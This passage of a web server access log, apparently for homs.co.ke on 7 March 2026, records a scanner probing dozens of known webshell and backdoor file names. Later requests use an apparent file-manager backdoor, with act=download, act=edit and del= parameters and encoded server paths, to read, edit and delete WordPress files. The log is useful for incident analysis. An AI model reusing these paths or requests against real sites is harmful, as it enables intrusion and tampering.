"-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:47 -0700] "GET //h.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:48 -0700] "GET /g.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:48 -0700] "GET /pp.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:48 -0700] "GET //sys.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:49 -0700] "GET /txets.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 43.130.139.177 - - [07/Mar/2026:03:16:49 -0700] "GET / HTTP/1.1" 200 57649 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:49 -0700] "GET /wp9.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:49 -0700] "GET /path.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:50 -0700] "GET /wdf.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:50 -0700] "GET //2.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:51 -0700] "GET /mga.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:51 -0700] "GET /maxro.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:52 -0700] "GET /pass2.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:52 -0700] "GET /wsvvs.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:52 -0700] "GET //3.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:53 -0700] "GET //edit.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:53 -0700] "GET /ioxi-o.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:53 -0700] "GET /wp-content/admin.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:54 -0700] "GET /66.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:54 -0700] "GET //wp-includes/js/tinymce/themes/inlite/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:54 -0700] "GET /gifclass.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:55 -0700] "GET /wp-includes/assets/index.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:55 -0700] "GET //wp-admin/images/wp-conflg.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:55 -0700] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:55 -0700] "GET //assets/css/index.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:56 -0700] "GET /sc.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:56 -0700] "GET /xmlrpc.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:56 -0700] "GET /ol.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:57 -0700] "GET //f6.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:57 -0700] "GET //inputs.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:57 -0700] "GET /style.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:58 -0700] "GET /bgymj.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:58 -0700] "GET //aa.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:58 -0700] "GET //1.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:58 -0700] "GET //sc.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:59 -0700] "GET //av.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:59 -0700] "GET /file.php? HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:59 -0700] "GET /file59.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:16:59 -0700] "GET /bless.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:00 -0700] "GET /wp9.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:00 -0700] "GET /wp-act.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:00 -0700] "GET /class-t.api.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:01 -0700] "GET /xqq.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:01 -0700] "GET /wp-admin/css/bolt.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:01 -0700] "GET /a.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:01 -0700] "GET /06.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:02 -0700] "GET /plss3.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:02 -0700] "GET /aaa.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:02 -0700] "GET /classwithtostring.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:03 -0700] "GET /wp-content/themes/index.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:03 -0700] "GET /tinyfilemanager.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:03 -0700] "GET //x.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:03 -0700] "GET /ms.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:04 -0700] "GET //wp-content/plugins/erinyani/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:04 -0700] "GET /wp-update.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:04 -0700] "GET /sbhu.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:05 -0700] "GET /x/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:05 -0700] "GET /wp-blog.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:05 -0700] "GET /test1.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:05 -0700] "GET //wp-includes/js/jquery/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:05 -0700] "GET /166.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:06 -0700] "GET //wp-content/admin.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:06 -0700] "GET /ms-edit.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:06 -0700] "GET //adminfuns.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:07 -0700] "GET /goods.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:07 -0700] "GET /ms-edit.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:07 -0700] "GET /222.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:07 -0700] "GET /plugins.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:08 -0700] "GET //cgi-bin/index.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:08 -0700] "GET //wp-includes/js/dist/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:08 -0700] "GET /ff1.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:08 -0700] "GET /fff.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:09 -0700] "GET /wp-content/ HTTP/1.1" 200 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:09 -0700] "GET /goat.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:09 -0700] "GET /155.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:10 -0700] "GET /we.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:10 -0700] "GET /alpha.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:10 -0700] "GET /makeasmtp.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:11 -0700] "GET /wp-michan.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:11 -0700] "GET //wp-content/cong.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:11 -0700] "GET /wp-the.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:12 -0700] "GET //wp-includes/css/dist/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:22 -0700] "GET /BDKR28WP.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:22 -0700] "GET //wp-includes/l10n/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:22 -0700] "GET /wp.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:22 -0700] "GET //assets/css/index.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:23 -0700] "GET /w4.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:23 -0700] "GET //wp-admin/js/widgets/index.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:23 -0700] "GET /ok.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:24 -0700] "GET //about.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:25 -0700] "GET /wp-admin/js/fi.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:26 -0700] "GET /fe5.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:26 -0700] "GET /kj.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:28 -0700] "GET //wp-content/uploads/2021/02/index.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:29 -0700] "GET /av.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:29 -0700] "GET /abcd.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:30 -0700] "GET /init.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:30 -0700] "GET /fi.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:31 -0700] "GET //a1.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:31 -0700] "GET /update/f35.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:32 -0700] "GET /wp-includes/Text/Diff/Engine/about.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:32 -0700] "GET /f35.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:32 -0700] "GET /hi.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:32 -0700] "GET /lb.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:33 -0700] "GET //wp-includes/css/index.php?p= HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:33 -0700] "GET /wp-includes/SimplePie/ HTTP/1.1" 404 - "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:33 -0700] "GET /prv8.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:34 -0700] "GET /k.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:34 -0700] "GET /dev.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:35 -0700] "GET /bal.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:36 -0700] "GET /in.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:36 -0700] "GET /gssdd.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:37 -0700] "GET /motu.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:37 -0700] "GET /bs1.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:37 -0700] "GET /bengi.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:38 -0700] "GET /miansha.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:38 -0700] "GET //erty.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:38 -0700] "GET /wp-content/plugins/pwnd/as.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:39 -0700] "GET /X57.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:39 -0700] "GET /axx.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:39 -0700] "GET /alfashell.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:40 -0700] "GET /re.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:40 -0700] "GET /styll.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:41 -0700] "GET /flower.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:42 -0700] "GET /4h.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:42 -0700] "GET /gettest.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:43 -0700] "GET /acp.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 13.79.87.25 - - [07/Mar/2026:03:17:44 -0700] "GET /database.php HTTP/1.1" 409 83 "-" "-" mail.homs.co.ke 10.38.197.90 43.173.178.4 - - [07/Mar/2026:03:29:02 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-patterns.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.88 - - [07/Mar/2026:03:29:02 -0700] "GET /?act=download&file=class-wp-locale.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.169.3 - - [07/Mar/2026:03:29:02 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=class-wp-block-parser.php HTTP/1.1" 200 4021 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.178.209 - - [07/Mar/2026:03:29:02 -0700] "GET /?del=class-wp-font-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 200 6187 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.112 - - [07/Mar/2026:03:29:02 -0700] "GET /?act=edit&file=class-wp-user-query.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz HTTP/1.1" 200 17714 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.179.114 - - [07/Mar/2026:03:29:03 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-patterns.php HTTP/1.1" 200 4021 "http://mail.homs.co.ke/?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=block-patterns.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.81 Safari/537.36" mail.homs.co.ke 10.38.197.90 43.173.177.220 - - [07/Mar/2026:03:29:08 -0700] "GET /?del=class-wp-font-utils.php&p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2ZvbnRz HTTP/1.1" 409 83 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.3" mail.homs.co.ke 10.38.197.90 66.249.93.41 - - [07/Mar/2026:03:30:25 -0700] "GET /logo/Capture.PNG HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.41 - - [07/Mar/2026:03:30:25 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 43.153.113.127 - - [07/Mar/2026:03:30:25 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&act=download&file=author-template.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 66.249.93.41 - - [07/Mar/2026:03:30:51 -0700] "GET /logo/Capture.PNG HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.39 - - [07/Mar/2026:03:30:51 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.41 - - [07/Mar/2026:03:30:59 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.41 - - [07/Mar/2026:03:31:07 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.39 - - [07/Mar/2026:03:31:46 -0700] "GET /logo/Capture.PNG HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.39 - - [07/Mar/2026:03:31:46 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.41 - - [07/Mar/2026:03:31:50 -0700] "GET /logo/Capture.PNG HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.40 - - [07/Mar/2026:03:31:51 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.39 - - [07/Mar/2026:03:31:57 -0700] "GET /logo/Capture.PNG HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.40 - - [07/Mar/2026:03:31:57 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.40 - - [07/Mar/2026:03:31:57 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 66.249.93.39 - - [07/Mar/2026:03:31:59 -0700] "GET /logo/unnamed.png HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 (via ggpht.com GoogleImageProxy)" homs.co.ke 10.38.197.90 43.159.152.184 - - [07/Mar/2026:03:38:01 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVz&del=class-walker-category.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1" www.homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:03:50:08 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:03:50:09 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:03:50:09 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:03:50:09 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:03:50:09 -0700] "GET /robots.txt HTTP/1.1" 200 128 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; +https://seranking.com/backlinks-crawler)" homs.co.ke 10.38.197.90 37.27.55.110 - - [07/Mar/2026:03:50:09 -0700] "GET /?p=L2hvbWUzL2hvbXNjb2tlL3B1YmxpY19odG1sL3dwLWluY2x1ZGVzL2Jsb2Nrcw==&del=site-title.php HTTP/1.1" 409 83 "-" "Mozilla/5.0 (compatible; SERankingBacklinksBot/1.0; 